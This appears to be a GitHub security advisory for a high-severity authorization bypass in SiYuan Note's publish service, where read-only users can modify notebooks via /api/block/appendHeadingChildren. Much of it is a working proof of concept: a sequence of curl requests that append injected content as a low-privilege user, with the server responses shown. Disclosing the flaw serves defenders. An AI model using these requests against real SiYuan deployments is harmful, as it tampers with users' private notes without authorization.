GitHub Advisoryadvisory · Go

GHSA-f9cq-v43p-v523 SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren

HIGH Published 2026-03-09 Modified 2026-03-10 Official page ↗
Aliases
CVE-2026-30926
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Weaknesses
CWE-284, CWE-862
Reviewed
2026-03-09

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260304035530-d03ebdec8279 (no fix yet)

Description

Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint. The endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents. This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes. Details File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code: ``` • router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren) • api/block.go: model.AppendHeadingChildren(id, childrenDOM) • model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation) • session.go: CheckAuth accepts RoleReader as authenticated ``` Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes. PoC 1. Enable publish service and create low-privilege account ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{ "enable": true, "port": 6808, "auth": { "enable": true, "accounts": [ { "username": "viewer", "password": "viewerpass" } ] } }' \ http://127.0.0.1:6806/api/setting/setPublish ``` 2. Create a test notebook and document (admin) ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{"name":"AuditPOC"}' \ http://127.0.0.1:6806/api/notebook/createNotebook ``` Create a document containing a heading: ``` curl -u workspace: \ -H "Content-Type: application/json" \ -d '{ "notebook":"", "path":"/Victim", "markdown":"# VictimHeading\n\nOriginal paragraph" }' \ http://127.0.0.1:6806/api/filetree/createDocWithMd ``` 3. Retrieve heading block ID (low-priv publish account) ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \ http://127.0.0.1:6808/api/query/sql ``` Example response: ``` { "id":"20260307093334-05sj7bz", "root_id":"20260307093334-vsa6ft0" } ``` 4. Generate block DOM ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"dom":"InjectedByReader"}' \ http://127.0.0.1:6808/api/lute/html2BlockDOM ``` 5. Append block using the vulnerable endpoint ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{ "id":"20260307093334-05sj7bz", "childrenDOM":"InjectedByReader" }' \ http://127.0.0.1:6808/api/block/appendHeadingChildren ``` Server response: ``` {"code":0} ``` 6. Verify unauthorized modification ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \ http://127.0.0.1:6808/api/query/sql ``` Result includes attacker-controlled content: ``` InjectedByReader ``` This confirms that the low-privilege publish user successfully modified the document. Impact This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content. Potential impacts include: • Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Related

Alias · CVE (1)

  • CVE-2026-30926 SiYuan is a personal knowledge management system. vulnerability

Weakness · CWE (2)

  • CWE-284 Improper Access Control weakness
  • CWE-862 Missing Authorization weakness

References